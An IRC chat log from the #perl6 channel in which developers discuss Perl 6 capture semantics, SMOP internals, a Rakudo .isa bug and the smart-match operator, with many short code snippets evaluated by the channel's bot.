and leaves them positional
but we might have to special case Mapping 17:37
maybe not
biab &
17:42 dakkar left 17:43 payload left, payload joined
ruoso TimToady, just beware that if you modify that in Capture, I'm going to need to go through another huge refactoring in SMOP similar to the one I just finished... 17:46
TimToady does your capture have any way to reconstruct the original argument order?
ruoso no
skids ruoso: well, at least you could refactor back from re-smop to smop :-) 17:48
17:49 explorer is now known as Guest95196
pmichaud ruoso: well, Rakudo is already going to have to do a significant refactoring as well :-| 17:49
17:49 Guest95196 left
TimToady perhaps we can just say that if we find our capture in a context that wants the pairs as positional, you get them, but in a random order. 17:49
17:49 jferrero joined
TimToady maybe that plus syntactic differentiation will be enough 17:50
pmichaud from a Parrot perspective, "pairs in random order" is likely to be helpful
TimToady i.e. if you want to preserve your pair order, just put your pairs in an extra (...)
then they become positionals that interpolate into the outer list 17:51
otherwise we assume that pairs are out-of-band, and if forced back in, are random
that's very close to what we have now 17:52
skids trying to see how that falls out, but is totally lost, so don't bother explaining.
PerlJam skids: if you pay attention to the conversations more often, you'll find yourself totally lost more often :)
TimToady it's exactly what we have now, plus the ability to tell a capture to turn everything positional, include things it thought were named
skids PerlJam: oh and here I was thinking the problem was I kept missing conversations :-) 17:53
ruoso TimToady, please... an explicit way to extract the named as positionals looks much better
PerlJam TimToady: the only syntactic help is an extra set of parens?
TimToady it differentiates on whether it knows it's an arglist to a function 17:54
as it does currently
pmichaud I still kinda wish it were powerful enough to handle the @a versus $a distinction
constructing capture wrappers around @a in an arglist feels funny to me. Maybe I just need to play with the code a bit. 17:55
although turning (foo()) into a capture of a capture feels funny to me too
TimToady no "turning"; the arglist is already a capture, and the return value is already a capture 17:56
17:56 DemoFreak joined
TimToady but if you know you're in item context, you can strip the outer (), since the inside is an item (capture) 17:58
17:58 sparc left 18:01 davidad left
ruoso TimToady, yes... currently the "arglist" status is very clear... 18:02
pmichaud, the power on @a vs $a is not on the arglist, but on the slurpy 18:03
pmichaud ruoso: I disagree. 18:04
the only difference enumerated thus far between @a and $a is syntactic in an arglist.
TimToady hmm, not sure 18:06
ruoso pmichaud, is syntatic "when not the invocant"
18:06 japhb joined
pmichaud ruose: No. 18:06
ruoso TimToady, ? 18:07
TimToady if @a desugars to $@a.list everywhere, and item context (read "invocant") strips off the .list
pmichaud my @a = 1,2,3,4; my $a := @a; say [5,6,@a].elems; say [5,6,$a].elems
note that in this example, neither @a nor $a are invocants. 18:08
yet they produce different answers.
TimToady my @a = 1,2,3,4; my $a := @a.capturize; say [5,6,@a.capturize].elems; say [5,6,$a].elems is the desugar
ruoso TimToady, that would mean that $a is a capture 18:09
and therefore it would be flattened
skids std: :(Int $a, Str $b)|:(Str $b, Int $a) = (0,"HAI");
TimToady no
p6eval std 26946: OUTPUT«ok 00:04 40m␤»
ruoso TimToady, my $a := @a.capturize;
TimToady binding a capture to a scalar pulls out the Array object 18:10
it's singular, there's one item in the capture, an Array
pmichaud ("captures are invisible")
TimToady you can't bind a naked capture without special notation in the sig 18:11
ruoso parsing... 18:12
TimToady my (|$a) := @a.capturize would bind the capture
18:13 REPLeffect joined
TimToady or something like that 18:13
ruoso right...right...
but... 18:14
that would mean that...
my @a := (3,); my (|$a) := @a; $a.WHAT would be Int 18:15
ruoso EOUTOFCOFEE 18:16
skids E'caf
TimToady you're just E'd
18:17 kidd joined 18:18 abra left 18:19 payload left 18:20 justatheory_ joined
pyrimidine I'm having problems with .isa 18:21
TimToady 3, is really 3,Nil, so doesn't itemize
pyrimidine rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say;
p6eval rakudo b6640c: OUTPUT«1␤0␤0␤A::B::C()␤»
pyrimidine pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say;
p6eval pugs: OUTPUT«1␤1␤1␤A::B::C␤»
pyrimidine should I go ahead and file rakudobug? 18:22
TimToady looks like it 18:23
what does ~~ say?
skids loose end from change to classes .perl as Classname(), probably. 18:24
TimToady rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x ~~ A; say $x ~~ A::B; say $x ~~ A::B::C
p6eval rakudo b6640c: OUTPUT«1␤1␤1␤»
pmichaud try $x.isa(A::B) instead of $x.isa('A::B')
18:24 amoc left
TimToady ah, missed that 18:24
pmichaud I don't think Rakudo understands multi-component string arguments to .isa yet
(I don't know if it should, either) 18:25
TimToady one of those places where we should allow sigs to differentiate abstract from concrete args
pyrimidine rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; ($x ~~ A).say; ($x ~~ A::B).say; ($x ~~ A::B::C).say
p6eval rakudo b6640c: OUTPUT«1␤1␤1␤»
TimToady .ACCEPTS being another one of those
pmichaud class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say; 18:26
rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa(A).say; $x.isa(A::B).say; $x.isa(A::B::C).say; $x.WHAT.say;
p6eval rakudo b6640c: OUTPUT«1␤1␤1␤A::B::C()␤»
pyrimidine beat me to it 18:27
TimToady funny that it did 1 0 0; you'd think it should be 0 0 0 18:28
or 1 1 1
pyrimidine yes
and it did work at one point
(at least in my local test suite)
TimToady presumably a fossil of when parrot was considering all type names to be strings
pmichaud pyrimidine: did it work with multi-component names? Note that the $x.isa('A') case worked. 18:29
but $x.isa('A::B') does not
pyrimidine It did work previously, yes
(updating to latest rakudo broke it)
pmichaud okay. If we can get "official declaration" that string arguments to .isa should be parsed/treated as typenames, we can likely implement it. 18:30
TimToady rakudo: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x.isa(::('A::B::C'))
p6eval rakudo b6640c: OUTPUT«0␤»
pmichaud rakudo doesn't know namespace interpolation yet (sorry)
TimToady that one *should* work in any case
pmichaud yes, I agree it should work. 18:31
pyrimidine pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; say $x.isa(::('A::B::C'))
p6eval pugs: OUTPUT«1␤»
pyrimidine not that pugs is always correct...
pugs: class A {}; class A::B is A {}; class A::B::C is A::B {}; my A::B::C $x .= new; $x.isa('A').say; $x.isa('A::B').say; $x.isa('A::B::C').say; $x.WHAT.say; 18:32
p6eval pugs: OUTPUT«1␤1␤1␤A::B::C␤»
TimToady shower &
18:35 rjbs left 18:37 justatheory left 18:38 azawawi joined, ejs joined
azawawi hi 18:38
18:39 iblechbot joined
azawawi pmichaud: hi. any update on RT #65994? 18:41
std: my $foo = 0o7;
p6eval std 26946: OUTPUT«ok 00:02 36m␤»
azawawi std: my $foo = 00o7; 18:42
p6eval std 26946: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 36m␤»
azawawi std: my $foo = 0x7;
PerlJam no fresh cursors for you!
p6eval std 26946: OUTPUT«ok 00:02 36m␤»
azawawi PerlJam: :)
rakudo: my $foo = 00o00;
p6eval rakudo b6640c: OUTPUT«Leading 0 does not indicate octal in Perl 6␤Syntax error at line 2, near "my $foo = "␤in Main (src/gen_setting.pm:0)␤» 18:43
azawawi rakudo: my $foo = 0o00;
p6eval rakudo b6640c: ( no output )
18:43 abra joined
azawawi it seems that rakudo handles that situation in a better than STD 18:44
PerlJam I don't know what your criteria are for better, but STD seems to be doing the right thing and rakudo not :) 18:46
pmichaud STD is right there?!? 18:48
pmichaud hopes PerlJam had STD/rakudo swapped in his last statement.
azawawi PerlJam: i meant the cryptic error message in std...
PerlJam STD is part of the spec ;-)
18:49 eternaleye_ left
azawawi scratches his head... 18:49
PerlJam (I'll try not to be so subtle next time :) 18:50
18:50 pmurias joined
pmichaud afk for a bit 18:51
18:53 LadyLuna1y joined 18:58 Avada joined 18:59 Avada left
pugs_svn r26947 | pmurias++ | [re-smop] capture.FETCH calls .FETCH on the only invocant 19:01
19:08 azawawi left, azawawi joined 19:09 LadyLunacy left
pmurias ruoso: ^!instanceof is a calculated property? 19:14
ruoso yes... 19:15
if the object has no meta definition and a "isa", it "instanceof" that thing
if, otoh, it has any other meta definition
it is an "instanceof" itself
pmurias isn't instanceof a bit unnecessary as the metaclass instance can calculate instanceof with having that method in the repr? 19:19
19:20 donaldh left, donaldh joined
ruoso pmurias, maybe... but I guess that would allow a more terse definition of the REPR API... 19:21
I mean...
19:21 exodist left, exodist joined
ruoso a REPR that doesn't support any meta definition would benefit from .^!instanceof 19:21
(i.e.: representations from object systems that have different structures for instances and classes 19:22
19:26 azawawi left 19:29 davidad joined
sjohnson rakudo: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } foreach (keys(%hash)) { $str .= "$_ "; } print "$str\n"; 19:33
p6eval rakudo b6640c: OUTPUT«Statement not terminated properly at line 2, near "foreach (k"␤in Main (src/gen_setting.pm:0)␤»
sjohnson :( 19:34
pmichaud "for", not "foreach"
19:34 ZuLuuuuuu joined
sjohnson rakudo: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str .= "$_ "; } print "$str\n"; 19:35
p6eval rakudo b6640c: OUTPUT«.= must have a call on the right hand side at line 2, near " .= \"$_ \";"␤in Main (src/gen_setting.pm:2553)␤»
pmichaud ~= , not .=
sjohnson rakudo: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; } print "$str\n";
p6eval rakudo b6640c: OUTPUT«Statement not terminated properly at line 2, near "print \"$st"␤in Main (src/gen_setting.pm:0)␤»
pmichaud need a semi
after closing braces
sjohnson rakudo: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
p6eval rakudo b6640c: OUTPUT«1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ␤»
sjohnson yes!!!! 19:36
pmichaud still missing a semi
sjohnson seems to work?
pmichaud yes, I'm not quite sure about that part.
std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
p6eval std 26947: ( no output )
pmichaud ....."no output"?!
sjohnson i hope my basic rakudo commands are helping the development of Perl 6 in some way 19:38
moritz_ "no output" usually means that somethings' wrong on the server 19:39
pmichaud right, I'm surprised that STD gave me that, though. 19:40
sjohnson panics
19:40 mizioumt joined
moritz_ std: 1 19:40
p6eval std 26947: OUTPUT«ok 00:02 35m␤»
sjohnson i broke the compiler 19:42
19:43 explorer__ joined
pmichaud compiler's broke, we might as well quit. :-) 19:43
19:43 explorer__ left 19:44 explorer__ joined 19:45 explorer__ left
DanielC Why is $/ called like that? It looks like an array. Isn't @/[0] more consistent than $/[0] ? 19:47
pmichaud $/ is an object that has both array and hash characteristics
DanielC :-P 19:48
PerlJam and scalar characteristics!
DanielC So they gave it a scalar sigil?
19:48 abra left
pmichaud well, it is an object. 19:48
sjohnson pmichaud: :)
pmichaud and saying that $/ "looks like an array" is likely to misunderstand what it is/does.
19:49 synthEEEE joined
pmichaud it's far more than an array. 19:49
DanielC I thought that it was just a container for $/[0], $/[1] and friends.
pmichaud It also holds .from, .to, .orig, .Str
it also holds any named captures, as $/{'abc'} $/{'def'}, etc.
DanielC ok
[particle] rakudo: print $/ ~~ Array;
Tene and named captures
p6eval rakudo b6640c: OUTPUT«0»
[particle] rakudo: print $/ ~~ Positional; 19:50
p6eval rakudo b6640c: OUTPUT«1»
DanielC What is ~~ ?
Tene rakudo: "... tene ..." ~~ /<ident>/; say $/<ident>;
p6eval rakudo b6640c: OUTPUT«tene␤»
pmichaud ~~ is the smart matching operator
DanielC What's smart about it?
PerlJam DanielC: it's similar to what =~ is in perl 5
pmichaud in p5, it would be known as =~
but it does more than simply match regular expressions
DanielC In p5 I would say that =~ is a regex operator. 19:51
19:51 jferrero left
pmichaud rakudo: print "xyz" ~~ /y/; 19:51
p6eval rakudo b6640c: OUTPUT«y»
pmichaud rakudo: print "xyz" ~~ Int;
p6eval rakudo b6640c: OUTPUT«0»
pmichaud rakudo: print "xyz" ~~ Str;
p6eval rakudo b6640c: OUTPUT«1»
pmichaud rakudo: print "xyz" ~~ { $_ eq 'xyz' }
p6eval rakudo b6640c: OUTPUT«1»
pmichaud rakudo: print "xyz" ~~ { $_ eq 'def' }
p6eval rakudo b6640c: OUTPUT«0»
[particle] rakudo: print "xyz" ~~ Any;
p6eval rakudo b6640c: OUTPUT«1» 19:52
DanielC But how can you predict what ~~ is going to do? What *does* it do? All of these examples look sensible after I see them, but I wouldn't have come up with any of them myself.
pmichaud DanielC: (1) well, ~~ is "smart", so you don't have to predict :-P 19:53
(2) look at the "Smart matching" table in S03
DanielC reads S03#Smart matching 19:54
I don't get it at all. Most of what I see here looks like incomprehensible babble. 19:56
19:56 jferrero joined
pmichaud basically the table describes the types of comparisons one can do with ~~ 19:58
for example
Num Range in numeric range X.min <= $_ <= X.max (mod ^'s)
DanielC And it looks like you are supposed to memorize a large table of special cases.
That's the last thing I want to do.
pmichaud means that $x ~~ 1..10 will test if $x is in the range 1..10
DanielC Honestly, it makes me want to just ignore the ~~ thing.
pmichaud fair enough
it really is intended to dwim in most cases 19:59
19:59 skids left
pmurias ruoso: we can just have a single element isa 19:59
DanielC Which is both sad and frustrating. One of the supposed features of Perl 6 is that it's supposed to be more regular, have less magic, and require less memorizatin.
pyrimidine I don't find that so 20:00
pmichaud DanielC: I think we've put most of the memorization into one place (the smart match)
DanielC You don't find Perl 6 regular?
pmichaud phone
pyrimidine I find smart match to be dwimmy 20:01
TimToady std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
p6eval std 26947: ( no output )
pyrimidine (in that it does what I would think it should in those cases)
TimToady should say Statements must be separated with semicolon at (eval) line 1: 20:02
DanielC But ~~ seems to work by magic. It looks unpredictable.
pmichaud there's a fine line between "smart" and "magic", yes. :-)
20:02 Whiteknight left 20:03 synth left
TimToady the point is to put all the dwimminess into one spot, and then reuse that throughout the rest of the language consistently 20:04
DanielC TimToady: So far I've been very impressed with Perl 6, but ~~ scares me a bit. It looks unpredictable. 20:05
TimToady std: {42} {42}
p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Unexpected block in infix position (two terms in a row, or previous statement missing semicolon?) at /tmp/JRZbLnXRL2 line 1:␤------> {42} {42}␤ expecting any of:␤ infix or meta-infix␤ infix stopper␤ standard stopper␤
..terminator␤FAILED 00:02…
ZuLuuuuuu what does dwimmy mean, I can't seem to find it on dictionary :S
DanielC do what I mean
dwim = do what I mean 20:06
ZuLuuuuuu oh ok
pyrimidine if one does run into any problems the spec defines its expected behavior
TimToady it's actually predictable, despite appearances
pyrimidine (so it is defined and predictable)
ah, beat to the puch 20:07
ruoso pmurias, what do you mean by "single-element isa"?
20:07 azawawi joined
TimToady std: for 1..10 {...} {...} 20:07
DanielC pyrimidine: But "documented" is not the same thing as predictable. You can document 100 special cases.
p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/NSEiHzfAOq line 1:␤------> for 1..10 {...} {...}␤ expecting any of:␤ infix stopper␤ statement␤FAILED 00:02 35m␤»
sjohnson am i right in saying that Perl 6 will have hash keys tied automatically as they are entered into the hash? i tested it with rukado and seemed to be the case 20:08
TimToady std: for (1..10) {...} {...}
p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/nEp8DhTgR8 line 1:␤------> for (1..10) {...} {...}␤ expecting any of:␤ infix stopper␤ statement␤FAILED 00:02 35m␤»
DanielC TimToady: Ok. Maybe it's just a matter of documentation / presenting it the right way.
pmurias ruoso: we can just pretend the object has meta information, and have one element in ^!isa (the class)
ruoso and have the object proxying itself the repr calls? 20:09
pyrimidine DanielC: true, but if the behavor is
pmurias ruoso: sorry i meant have "has no"
DanielC pyrimidine: I hope you are right.
pmurias we don't have to pretend
ruoso pmurias, hmmm... I don't follow... start again from the beggining... 20:10
;)
pyrimidine only time will tell
but I would assume any unpredictatble/undocumented behavior to be a bug and not a feature
DanielC pyrimidine: Maybe I just can't see it. It's just that right now it looks like I have to memorize a big table of special cases. That makes me want to avoid using ~~.
pyrimidine * unpredictable 20:11
ok
there are other ways to do what you want
pmurias ruoso: if the object has no meta definitions and i just a instance of something, we can represent it directly my having stuff like ^!methods empty and having one element in ^!isa which points to it's "class"
PerlJam DanielC: except that table is dwimmy
azawawi std: 0x0;
p6eval std 26947: OUTPUT«ok 00:02 35m␤»
azawawi std: 00x0;
p6eval std 26947: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 35m␤»
pyrimidine PerlJam: yes
ruoso pmurias, right... and the .^!instanceof would be calculated in runtime... 20:12
TimToady std: for 1..10 {...} for 1..10 {...}
p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/1shbDV8qq1 line 1:␤------> for 1..10 {...} for 1..10 {...}␤ expecting any of:␤ infix stopper␤ statement␤FAILED 00:02 35m␤»
TimToady Statements must be separated with semicolon at (eval) line 1:
pyrimidine ...and if there are questions about behavior the table is there for reference
TimToady std: my %hash; my $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; print "$str\n";
pmurias ruoso: do we need actually need it anywhere?
p6eval std 26947: OUTPUT«##### PARSE FAILED #####␤Statements must be separated with semicolon at /tmp/6XK6nFwJ90 line 1:␤------> $str; for (1 .. 20) { %hash{$_} = 1; } for (keys(%hash)) { $str ~= "$_ "; }; pr␤ expecting any of:␤ infix stopper␤ statement␤FAILED 00:02 36m␤»
TimToady now it works o_O 20:13
ruoso pmurias, I mean, it doesn't need to be stored anywhere... but .WHAT is really .^!instanceof
TimToady azawawi: working on that one
azawawi TimToady: thx 20:14
PerlJam DanielC: it's kind of like saying you have to memorize a table of what to do given two numbers and an operator. 3 + 5, 3 * 5, etc. Except that rather than the operator changing, it's the operands that vary
pmurias ruoso: WHAT is uncommon so we can accept some overhead on that
ruoso sure...
azawawi TimToady: i encountered that while tokenizing integers into binary,hex,octal,radix,underscore_separated,etc (part of a re-write of S:H:P6 to be more PPI OO-like). 20:16
20:16 mizioumt1 joined
DanielC PerlJam: My first impulse was to say that that sounds backwards, but I recognize TimToady's point that it concentrates all the dwimness in one operator, and I see value in that. 20:16
pmurias DanielC: one good thing about ~~ is that it provides a standardized interface for all sort of find elements like this apis
TimToady and the dwimminess is actually entirely controlled by the right operand, which can decide whether to take the left operand into account 20:17
DanielC TimToady: Thanks. That's actually a good thing to know.
It makes it feel a lot more predictable. 20:18
pmurias ruoso: one think that would be very helpfull would be the ability to add methods written in Perl 6 to lowlevel objects 20:19
ruoso pmurias, that will be possible as soon as lowlevel objects implement the REPR API
pmurias, but maybe you mean something simpler...
20:20 mizioumt1 left, mizioumt1 joined
pmurias that could work... the lowlevel methods wouldn't be overwiteable though as the need to be special cased for bootstraping 20:20
DanielC pmurias: So if you make your own class and you want to add a search/match method you are supposed to use ~~ for that? 20:21
jnthn DanielC: You implement .ACCEPTS. 20:22
TimToady you just add a .ACCEPTS method to define smartmatch semantics
20:22 japhb left
TimToady $rhs.ACCEPTS($lhs), specifically 20:22
DanielC Interesting.
TimToady it's sugar for a reversed method call, really
DanielC ah 20:23
20:23 azawawi left
TimToady rakudo: say /foo/.ACCEPTS("goodfood") 20:23
p6eval rakudo b6640c: OUTPUT«foo␤»
TimToady rakudo: say ?/foo/.ACCEPTS("goodfood")
p6eval rakudo b6640c: OUTPUT«1␤»
pmurias DanielC: or did you mean $webpage->find_link(...)? with ... being the stuff links are match against? 20:24
DanielC So it's sort of like saying that any class could have (say) a .match() method, but instead of writing "if $rhs.match($lhs)" which is clearly awkward, Perl 6 offers the syntactic sugar "if $lhs ~~ $rhs" which reads much better.
TimToady yes, and it's the same order as the args in given $thing { when $pattern {...} } 20:25
DanielC ok
TimToady which is the main place smartmatching shows up outside of ~~
but also anywhere else that does matching, such as grep 20:26
DanielC Ok. Thanks for the explanations.
I feel much more confident about ~~ now. 20:27
pmichaud zip($a,$b,$c) vs. zip($a,$b,$c;$d) 20:28
jnthn rakudo: &Any::split.find_possible_candidates("abc", "b")>>.signature>>.perl.say
p6eval rakudo b6640c: OUTPUT«:(Object self, Any $delimiter, Any $limit?)␤»
pmurias ruoso: the repr API depends on s1p. is having a function pointer which gets updated once the appropriate smop "lowlevel repr" module is loaded a good idea? 20:31
ruoso pmurias, I was thinking about that too... I was actually thinking that mildew core could become one of the smop modules
and then it would feel more ok to do such manipulations 20:32
20:32 ejs left 20:33 payload joined
pmurias how would making mildew core one of the smop modules help us? 20:33
ruoso because we could think about manipulate it at the C level 20:34
today the core loading happens in generated code..
beginging it as a smop module would give us more control
and eventually we could extract mold generated by mildew in C code to be used in lowlevel 20:35
20:36 brunov joined 20:37 ejs joined 20:38 aartist joined
aartist rakudo: say <1 2> 20:38
p6eval rakudo b6640c: OUTPUT«12␤»
aartist rakudo: my $x = " abc "; say $x.trim;
p6eval rakudo b6640c: OUTPUT«abc␤»
aartist rakudo: say <1 2 3 2 5 6 4 3>.uniq.perl 20:39
p6eval rakudo b6640c: OUTPUT«["1", "2", "3", "5", "6", "4"]␤»
aartist am ray Caelum pastorn integral 20:42
broquaint patmat meteorjay obra_ ascent_ ingy Khisanth
Trey rjh cls_bsd cj charsbar yahooooo Maddingue @jnthn
buu
16:38 <aartist> rakudo: say <1 2>
16:38 <p6eval> rakudo b6640c: OUTPUT«12␤»
16:38 <aartist> rakudo: my $x = " abc "; say $x.trim;
16:38 <p6eval> rakudo b6640c: OUTPUT«abc␤»
16:39 *** xinming QUIT Read error: 110 (Connection timed out)
16:39 <aartist> rakudo: say <1 2 3 2 5 6 4 3>.uniq.perl
16:39 <p6eval> rakudo b6640c: OUTPUT«["1", "2", "3", "5", "6", "4"]␤»
> rakudo: say 1..10.WHAT
lambdabot <no location info>: parse error on input `..'
aartist rakudo: say 1..10.WHAT 20:43
p6eval rakudo b6640c: OUTPUT«Use of type object as value␤␤»
pmichaud rakudo: say (1..10).WHAT
jnthn rakudo: say (1..10).WHAT
p6eval rakudo b6640c: OUTPUT«Range()␤»
cotto smiles
jnthn rakudo: say ('all fools are the same', 'great minds think alike').pick 20:44
p6eval rakudo b6640c: OUTPUT«all fools are the same␤»
jnthn bwah.
20:44 mizioumt left
PerlJam rakudo++ 20:44
:)
pmichaud rakudo: say ('all fools are the same', 'great minds think alike').pick
p6eval rakudo b6640c: OUTPUT«great minds think alike␤»
pmichaud :) 20:45
I guess it's all a matter of context :-P
20:45 eMaX_ left
jnthn :-P 20:45
cotto rakudo: say +('all fools are the same', 'great minds think alike').pick
p6eval rakudo b6640c: OUTPUT«1␤»
TimToady bug 20:46
aartist @seen TimToday
lambdabot I haven't seen TimToday.
aartist @seen sjohnson
lambdabot sjohnson is in #perl6. I last heard sjohnson speak 38m 17s ago.
PerlJam rakudo: say +(9,5,2).pick; 20:47
p6eval rakudo b6640c: OUTPUT«1␤»
TimToady bug
pyrimidine rakudo: say +(9,5,2).pick(*);
TimToady .pick is supposed to return a capture, and a capture of 1 element is supposed to turn into itself
p6eval rakudo b6640c: OUTPUT«3␤»
TimToady er, into its element
that's correct, because pick returned more than one element 20:48
pmichaud (rakudo doesn't really do captures yet) :-)
TimToady well, we'll just rename them as "lists" and then you won't have to do captures :)
pyrimidine heh
jnthn \o/
pmichaud and a list of 1 element turns into itself? \o/ 20:49
er, a list of 1 element turns into the one element? ;-)
TimToady that seems to be the direction things are headed
pmichaud \o/
pugs_svn r26948 | pmurias++ | [re-smop] removed ^!instanceof
pmichaud especially since a single elements tends to turn into a list of 1 element :-) 20:50
s/ments/ment/
pmurias ruoso: how should the lowlevel repr module be called?
ruoso pmurias, what will it do exactly?
20:51 tulcod left
ruoso I mean... I got it will support high-level methods to be low-level dispatched 20:51
but... anything else?
20:51 meehav left, allbery_b left, avar left, frodwith left, silug left, cavelife^ left
pmurias a lowlevel metaclass to allow ^can on lowlevel object would be nice 20:51
20:51 meehav joined, frodwith joined, cavelife^ joined, silug joined, avar joined, allbery_b joined
pmurias so for example coroutines could have additional debugging support 20:52
20:52 tulcod joined
pmurias and optionally have methods such as .step 20:53
ruoso pmurias, if we do things right... the REPR api should provide enough info so that a regular HOW can use it
so you don't need a lowlevel metaclass
pmurias yes 20:54
that's the point of having a REPR api afterall
ruoso indeed
pmurias does } else if (ret = smop_lowlevel_repr_handler(interpreter,self,identifier,capture,metainfo)) { seem sensible? 20:58
20:58 pyrimidine left 20:59 DanielC left
sjohnson i should get a Perl 6 tattoo on my forehead 21:04
to spread the happiness and good news
ruoso pmurias, it does... 21:09
pmurias, see how p6opauqe handles the re-dispatch 21:10
21:13 Sartak joined
Sartak hi! I see from the "perl 6 sells itself" post that methods like "chars" and "bytes" are available as functions and methods.. I'm wondering why expose them as functions at all? (or is it using generic functions?) 21:14
sjohnson Sartak: where did you see that post? 21:15
Sartak use.perl.org/~masak/journal/39025
sjohnson but like, do you regularily check masak's journal?
or did you find it on another site
Sartak I've subscribed to his blog's rss feed so I saw it directly
sjohnson oh i see
cool
i had no idea it was being "logged" :) but im happy with it anyway 21:16
Sartak :)
sjohnson sartak the reason is
for unicode strings that are multibyte
Sartak wait hang on
I know why there is a difference :)
sjohnson i dont understand the question :( 21:17
Sartak I'm wondering why chars($foo) exists, since $foo.chars is perfectly fine
jnthn Because you don't always want to be forced to think in an OO-kinda way when it doesn't suite the task at hand.
*suit
Sartak is chars($foo) just sugar for $foo.chars?
sjohnson same with trim($string) and $string.trim 21:18
samy with $string.say
or say $string
pmurias they give you are choice between a multi and a method
jnthn Sartak: Not sugar as such, but it's a multi-method that gets exported.
Sartak I guess the important point is: if I subclass string can I override the behavior of chars($my_string_subclass)
oh okay, in that case yes
jnthn So the same underlying implementation is available as both.
TimToady only if both are exported 21:19
jnthn Yes, you can add your more specific candidate too...just mark it is export.
TimToady to the first approximation, the semantics of single dispatch are entirely controlled by the object, while the semantics of multiple dispatch are controlled by the lexical scope's idea of the current language 21:20
Sartak excellent
TimToady and operators, since they are defined by the language, not by the objects, are considered multiply dispatched 21:21
which is how we can make + force numeric, for instance
or == vs eq
Sartak yep, I'm quite familiar with multi dispatch and typeclasses :)
TimToady however, if you do $object.'+'($other), the interpretation of + will depend on the $object's langauge of origin 21:22
and might concatentate strings, for instance
it just turns out to be a very useful boundary for language decisions vs pure OO 21:23
when you export a method like chars, you're essentially making it a part of the language for the user 21:24
21:26 kesselhaus joined
Sartak thanks TimToady. that is a lot saner than I was fearing (which was a repeat of perl 5's rigidity for builtins) 21:26
sjohnson timtoady is a cute name
kesselhaus hi, someone here able to download setup-parrot-1.2.0-rakudo-17.exe from the SF site? 21:27
TimToady Sartak: everyone is allowed to panic once :) 21:28
just so everyone doesn't panic simultaneously 21:29
it was cuter when I was actually one of Tim's toadies... :) 21:30
21:30 masak joined
TimToady well, my pastor's name is Tim, so I guess it still works :) 21:30
sjohnson heh
ZuLuuuuuu #pardus 21:31
ups sorry
sjohnson timtoady: can you talk about your job at o'Reilly a bit? are you allowed to think about Perl 6 at work?
21:31 Whiteknight joined
TimToady I haven't worked for O'Reilly since shortly after 9/11 21:32
21:32 skids joined
sjohnson what? wikipedia wasn't... accurate? *gasp* 21:32
masak sjohnson: time to contribute a patch, then. 21:34
sjohnson are you happily retired? or do you still have a job doing some programming
oh nevermind, i think i read it on the back of the camel book 21:35
*phew*. for a sec i thought wikipedia couldn't be relied upon anymoer
cotto no wai
ZuLuuuuuu wikipedia is a great source but just don't believe it blindly, that's all 21:36
sjohnson i use wiki all the time for "General knowledge" 21:39
like a general overview of some topic
to get a rough idea what people are talking about, etc
pmurias isn't don't believe $thing blindly general advice?
ZuLuuuuuu you can believe all the things I say blindly :) 21:40
I'm exception
21:42 DanielC joined
DanielC Perl 6 doesn't include max and min functions, does it? Is there a zip function? (takes two arrays and returns an array made of pairs of elements of the two input arrays) 21:43
kesselhaus hi, someone here able to download setup-parrot-1.2.0-rakudo-17.exe from the SF site?
DanielC zip (1,2,3) , (2,3,4) => ( (1,2), (2,3), (3,4) )
skids DanielC: the functional form of zip is waiting on slice context, or whatever replaces that. 21:44
sjohnson yes but it isn't called zip 21:45
at least i dont think it is in Perl6
skids Yes, it is.
DanielC What is slice context?
sjohnson rakudo: (<a b> X <1 2>).say
p6eval rakudo b6640c: OUTPUT«a1a2b1b2␤»
21:45 cmarcelo joined
skids Well, first, the Z operator works already. 21:45
just not the functional "zip" form. 21:46
sjohnson rakudo: (1, 2, 3> X <4,5,6>).say
p6eval rakudo b6640c: OUTPUT«Could not find non-existent sub X␤»
DanielC Wait, I'm over my head. What is <a b> ?
sjohnson rakudo: (<1, 2, 3> X <4,5,6>).say
p6eval rakudo b6640c: OUTPUT«1,4,5,62,4,5,634,5,6␤»
PerlJam DanielC: <a b c> is the same as ('a','b','c')
skids rakudo: say <a b> Z <c d> Z <e f>
sjohnson it's an array
p6eval rakudo b6640c: OUTPUT«acebdf␤»
DanielC PerlJam: thanks 21:47
21:47 mizioumt joined
sjohnson in p5, equiv to qw(a b c) 21:47
jnthn pmichaud: ping
DanielC rakudo: say (<1, 2, 3> X <4,5,6>).perl
p6eval rakudo b6640c: OUTPUT«["1,", "4,5,6", "2,", "4,5,6", "3", "4,5,6"]␤»
DanielC ??
ZuLuuuuuu kesselhaus: it says the file is unavailable
